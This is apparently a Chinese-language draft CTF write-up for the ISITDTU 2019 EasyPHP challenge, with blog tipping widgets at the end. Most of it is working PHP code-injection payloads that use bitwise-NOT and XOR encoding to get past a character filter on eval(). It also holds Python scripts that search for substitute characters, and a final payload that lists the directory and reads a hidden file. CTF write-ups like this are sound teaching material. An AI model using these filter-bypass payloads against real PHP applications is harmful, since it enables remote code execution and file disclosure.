[ISITDTU 2019]EasyPHP 之草稿笔记(仅为草稿)

[ISITDTU 2019]EasyPHP


<?php
highlight_file(__FILE__);

$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
    die('rosé will not do it');

if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
    die('you are so close, omg');

eval($_);
?>

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
$a='phpinfo';
print(urlencode(~$a));

%8F%97%8F%96%91%99%90
(~%8F%97%8F%96%91%99%90)()
((%8F%97%8F%96%91%99%90)^(%FF%FF%FF%FF%FF%FF%FF))()
print(1);
print_r(scandir('.'));

'a'的取反
%D8%9E%D8
print的取反
%8F%8D%96%91%8B
print('a');
?_=(~%8F%8D%96%91%8B)(~%D8%9E%D8);
%CE%CF%CF
?_=(~%8F%8D%96%91%8B)(~%CE%CF%CF);
print_r(scandir('.'));
((%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff))(((%8d%9e%8d)^(%8d%99%8d)^(%9a%96%9b)^(%ff%ff%ff))(((%8d%9e%8d%9e%8d%8d%8d)^(%9a%9b%8d%99%8d%8d%9a)^(%9b%99%9e%96%9b%96%9a)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));

(%8d%8d%8d%8d%8d%8d%9e%8d)^(%9a%8d%8d%8d%8d%8d%9b%8d)^(%9a%9a%9e%9b%99%96%96%9a)^(%ff%ff%ff%ff%ff%ff%ff%ff)
print(urldecode('%8d%8d%8d%8d%8d%8d%9e%8d')^urldecode('%9a%8d%8d%8d%8d%8d%9b%8d')^urldecode('%9a%9a%9e%9b%99%96%96%9a')^urldecode('%ff%ff%ff%ff%ff%ff%ff%ff'));
readfile
rrrrrrar
errrrrdr
eeadfiie
readfile
print(~urldecode('%8d%8d%8d%8d%8d%8d%9e%8d'));
print("\n");
print(~urldecode('%9a%8d%8d%8d%8d%8d%9b%8d'));
print("\n");
print(~urldecode('%9a%9a%9e%9b%99%96%96%9a'));
print("\n");
print(urldecode('%8d%8d%8d%8d%8d%8d%9e%8d')^urldecode('%9a%8d%8d%8d%8d%8d%9b%8d')^urldecode('%9a%9a%9e%9b%99%96%96%9a')^urldecode('%ff%ff%ff%ff%ff%ff%ff%ff'));
((%ff%ff%ff%ff%ff%ff%ff)^(%8b%9c%9b%8b%8b%8b%9c)^(%8b%8f%9c%8b%9b%8b%8f)^(%8f%9e%91%91%9b%a0%9e))(((%8b%8b%8b%8b%8b%9b%9c)^(%9b%8b%8b%8b%8b%9c%8f)^(%9c%9c%9e%91%9b%91%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));

print(~urldecode('%8b%9c%9b%8b%8b%8b%9c'));
print("\n");
print(~urldecode('%8b%8f%9c%8b%9b%8b%8f'));
print("\n");
print(~urldecode('%8f%9e%91%91%9b%a0%9e'));
print("\n");
print(urldecode('%ff%ff%ff%ff%ff%ff%ff')^urldecode('%8b%9c%9b%8b%8b%8b%9c')^urldecode('%8b%8f%9c%8b%9b%8b%8f')^urldecode('%8f%9e%91%91%9b%a0%9e'));


print(~urldecode('%8b%8b%8b%8b%8b%9b%9c'));
print("\n");
print(~urldecode('%9b%8b%8b%8b%8b%9c%8f'));
print("\n");
print(~urldecode('%9c%9c%9e%91%9b%91%9e'));
print("\n");
print(urldecode('%ff%ff%ff%ff%ff%ff%ff')^urldecode('%8b%8b%8b%8b%8b%9b%9c')^urldecode('%9b%8b%8b%8b%8b%9c%8f')^urldecode('%9c%9c%9e%91%9b%91%9e'));
tcdtttc
tpctdtp
pannd_a
print_r

tttttdc
dttttcp
ccandna
scandir
print_r(scandir(.));
r=a p c
i=d c n
s=t d c

寻找可替换字符脚本:

original = 'print_rscandir'
option = 3

original = list(set(original))
print(original)

def find(original1,s,option):
    ss=''
    for i in s:
        for a in original1:
            for b in original1:
                for c in original1:
                    if (ord(a) ^ ord(b) ^ ord(c) == ord(i)) and  a!=i and b!=i and c !=i:
                        print("{}={}^{}^{}".format(i, a, b, c))
                        if i not in ss:
                            ss = ss +i
    if len(ss) == option:
        print(ss+'     '+ss+ss)



for q in original:
    for w in original:
        for e in original:
            if q!=w and w!= e and q!=e:
                s=''
                s=q+w+e
                print(s)


                newOriginal = ''.join(original)
                for r in s:
                    newOriginal = newOriginal.strip(r)
                find(newOriginal,s,option)
                print('\n\n\n\n')

isd
i=t^n^s
s=t^i^n
d=t^s^c


target===print_r(scandir(.));

print_r
rptpppp
rpnpppp
prsnt_r

scandir
taccttc
iaccsnc
ncancsr

print_r
$a='rptpppp';
print(urlencode(~$a));
print("\n");
$b='rpnpppp';
print(urlencode(~$b));
print("\n");
$c='prsnt_r';
print(urlencode(~$c));
print("\n");

scandir
$d='taccttc';
print(urlencode(~$d));
print("\n");
$e='iaccsnc';
print(urlencode(~$e));
print("\n");
$f='ncancsr';
print(urlencode(~$f));
print("\n");


%8D%8F%8B%8F%8F%8F%8F
%8D%8F%91%8F%8F%8F%8F
%8F%8D%8C%91%8B%A0%8D
%FF%FF%FF%FF%FF%FF%FF

%8B%9E%9C%9C%8B%8B%9C
%96%9E%9C%9C%8C%91%9C
%91%9C%9E%91%9C%8C%8D

print_r(scandir('.')) == ((%8D%8F%8B%8F%8F%8F%8F)^(%8D%8F%91%8F%8F%8F%8F)^(%8F%8D%8C%91%8B%A0%8D)^(%FF%FF%FF%FF%FF%FF%FF))(((%8B%9E%9C%9C%8B%8B%9C)^(%96%9E%9C%9C%8C%91%9C)^(%91%9C%9E%91%9C%8C%8D)^(%FF%FF%FF%FF%FF%FF%FF))(%d1^%ff));


print(~urldecode('%8D%8F%8B%8F%8F%8F%8F'));
print("\n");
print(~urldecode('%8D%8F%91%8F%8F%8F%8F'));
print("\n");
print(~urldecode('%8F%8D%8C%91%8B%A0%8D'));
print("\n");
print(urldecode('%ff%ff%ff%ff%ff%ff%ff')^urldecode('%8D%8F%8B%8F%8F%8F%8F')^urldecode('%8D%8F%91%8F%8F%8F%8F')^urldecode('%8F%8D%8C%91%8B%A0%8D'));
print("\n");


print(~urldecode('%8B%9E%9C%9C%8B%8B%9C'));
print("\n");
print(~urldecode('%96%9E%9C%9C%8C%91%9C'));
print("\n");
print(~urldecode('%91%9C%9E%91%9C%8C%8D'));
print("\n");
print(urldecode('%ff%ff%ff%ff%ff%ff%ff')^urldecode('%8B%9E%9C%9C%8B%8B%9C')^urldecode('%96%9E%9C%9C%8C%91%9C')^urldecode('%91%9C%9E%91%9C%8C%8D'));
print("\n");

print_r(scandir(.));
^.;()  print_scand  <=13

snr
s=d^t^c
n=d^c^i
r=c^p^a

target == print_r(scandir(.));

print_r
icpdppc
ippcppp
paiit_a

scandir
dacdccc
taccccp
ccaidia


===
icpdppc
ippcppp
paiit_a
dacdccc
taccccp
ccaidia

icpdppc,ippcppp,paiit_a,dacdccc,taccccp,ccaidia

%96%9C%8F%9B%8F%8F%9C
%96%8F%8F%9C%8F%8F%8F
%8F%9E%96%96%8B%A0%9E
%9B%9E%9C%9B%9C%9C%9C
%8B%9E%9C%9C%9C%9C%8F
%9C%9C%9E%96%9B%96%9E
?_=((%96%9C%8F%9B%8F%8F%9C)^(%96%8F%8F%9C%8F%8F%8F)^(%8F%9E%96%96%8B%A0%9E)^(%FF%FF%FF%FF%FF%FF%FF))(((%9B%9E%9C%9B%9C%9C%9C)^(%8B%9E%9C%9C%9C%9C%8F)^(%9C%9C%9E%96%9B%96%9E)^(%FF%FF%FF%FF%FF%FF%FF))(%d1^%ff));
n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt
读文件
show_source
readfile
target == show_source(end(scandir(.)));
^.;() show_urcendai  <=13
show_source(end(scandir(.)));

n=r^i^u
e=d^i^h
s=h^i^r
c=h^d^o

show_source
hohhhhhhhhd
iohhhihhhdi
rhow_rouroh

end
dro
iio
hud

scandir
hhorooo
idoiooo
roaudir

hohhhhhhhhd
iohhhihhhdi
rhow_rouroh
dro
iio
hud
hhorooo
idoiooo
roaudir

'hohhhhhhhhd','iohhhihhhdi','rhow_rouroh','dro','iio','hud','hhorooo','idoiooo','roaudir'

 
%97%90%97%97%97%97%97%97%97%97%9B
%96%90%97%97%97%96%97%97%97%9B%96
%8D%97%90%88%A0%8D%90%8A%8D%90%97
%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF
%9B%8D%90
%96%96%90
%97%8A%9B
%FF%FF%FF
%97%97%90%8D%90%90%90
%96%9B%90%96%90%90%90
%8D%90%9E%8A%9B%96%8D
%FF%FF%FF%FF%FF%FF%FF

?_=((%97%90%97%97%97%97%97%97%97%97%9B)^(%96%90%97%97%97%96%97%97%97%9B%96)^(%8D%97%90%88%A0%8D%90%8A%8D%90%97)^(%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF))(((%9B%8D%90)^(%96%96%90)^(%97%8A%9B)^(%FF%FF%FF))(((%97%97%90%8D%90%90%90)^(%96%9B%90%96%90%90%90)^(%8D%90%9E%8A%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))(%d1^%ff)));
osuan
o=c^i^e
s=r^i^h
u=c^r^d
a=r^d^w
n=c^i^d

show_source
rwchhrcchhh
iwihhiirhhh
hhew_hedrce

end
dce
die
edd

scandir
rdrcidd
iddiidd
hcwddir

rwchhrcchhh
iwihhiirhhh
hhew_hedrce
dce
die
edd
rdrcidd
iddiidd
hcwddir

'rwchhrcchhh','iwihhiirhhh','hhew_hedrce','dce','die','edd','rdrcidd','iddiidd','hcwddir'

 
%8D%88%9C%97%97%8D%9C%9C%97%97%97
%96%88%96%97%97%96%96%8D%97%97%97
%97%97%9A%88%A0%97%9A%9B%8D%9C%9A
%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF
%9B%9C%9A
%9B%96%9A
%9A%9B%9B
%FF%FF%FF
%8D%9B%8D%9C%96%9B%9B
%8D%9B%8D%9C%96%9B%9B
%97%9C%88%9B%9B%96%8D
%FF%FF%FF%FF%FF%FF%FF

?_=((%8D%88%9C%97%97%8D%9C%9C%97%97%97)^(%96%88%96%97%97%96%96%8D%97%97%97)^(%97%97%9A%88%A0%97%9A%9B%8D%9C%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF))(((%9B%9C%9A)^(%9B%96%9A)^(%9A%9B%9B)^(%FF%FF%FF))(((%8D%9B%8D%9C%96%9B%9B)^(%8D%9B%8D%9C%96%9B%9B)^(%97%9C%88%9B%9B%96%8D)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

以上还是失败

终极版字符替换脚本:

from itertools import combinations
target='show_urcendai'
option=6
result=''


target=list(set(target))#去重,但无序
print(target)
targetOption=combinations(target,option)
def find(targetOption,targetRemaining,option,result):
    ss=''
    for i in targetOption:
        for a in targetRemaining:
            for b in targetRemaining:
                for c in targetRemaining:
                    if (ord(a) ^ ord(b) ^ ord(c) == ord(i)) and  a!=i and b!=i and c !=i:
                        # print("{}={}^{}^{}".format(i, a, b, c))
                        if i not in ss:
                            ss = ss +i
    if len(ss) == option:
        print(ss+"符合要求")
        result=result+ss+'  '
        findPrint(targetOption,targetRemaining)
    return result
def findPrint(targetOption,targetRemaining):
    for i in targetOption:
        for a in targetRemaining:
            for b in targetRemaining:
                for c in targetRemaining:
                    if (ord(a) ^ ord(b) ^ ord(c) == ord(i)) and  a!=i and b!=i and c !=i:
                        print("{}={}^{}^{}".format(i, a, b, c))
for i in targetOption:
    targetRemaining=list(set(target)-set(i))
    # print(i)
    result=find(i,targetRemaining,option,result)
print('符合要求的全部内容:'+result)
$a=array('hsrhhhrnheh','hsnhhhnhhnh','shsw_sssrhe','nee','ner','ens','neesern','nnwsrhn','shsnssr');
foreach ($a as $s){
    print(urlencode(~$s));
    print("\n");
}
iaocdu
i=r^h^s
a=e^w^s
o=r^n^s
c=e^n^h
d=e^r^s
u=n^h^s
target=='show_source(end(scandir()))'
target1='show_source'

show_source
hsrhhhrnheh
hsnhhhnhhnh
shsw_sssrhe

end
nee
ner
ens

scandir
neesern
nnwsrhn
shsnssr

hsrhhhrnheh
hsnhhhnhhnh
shsw_sssrhe
nee
ner
ens
neesern
nnwsrhn
shsnssr

'hsrhhhrnheh','hsnhhhnhhnh','shsw_sssrhe','nee','ner','ens','neesern','nnwsrhn','shsnssr'
 
%97%8C%8D%97%97%97%8D%91%97%9A%97
%97%8C%91%97%97%97%91%97%97%91%97
%8C%97%8C%88%A0%8C%8C%8C%8D%97%9A
%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF
%91%9A%9A
%91%9A%8D
%9A%91%8C
%FF%FF%FF
%91%9A%9A%8C%9A%8D%91
%91%91%88%8C%8D%97%91
%8C%97%8C%91%8C%8C%8D
%FF%FF%FF%FF%FF%FF%FF
?_=((%97%8C%8D%97%97%97%8D%91%97%9A%97)^(%97%8C%91%97%97%97%91%97%97%91%97)^(%8C%97%8C%88%A0%8C%8C%8C%8D%97%9A)^(%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF%FF))(((%91%9A%9A)^(%91%9A%8D)^(%9A%91%8C)^(%FF%FF%FF))(((%91%9A%9A%8C%9A%8D%91)^(%91%91%88%8C%8D%97%91)^(%8C%97%8C%91%8C%8C%8D)^(%FF%FF%FF%FF%FF%FF%FF))(%D1^%FF)));

终于成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Jerem1ah

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值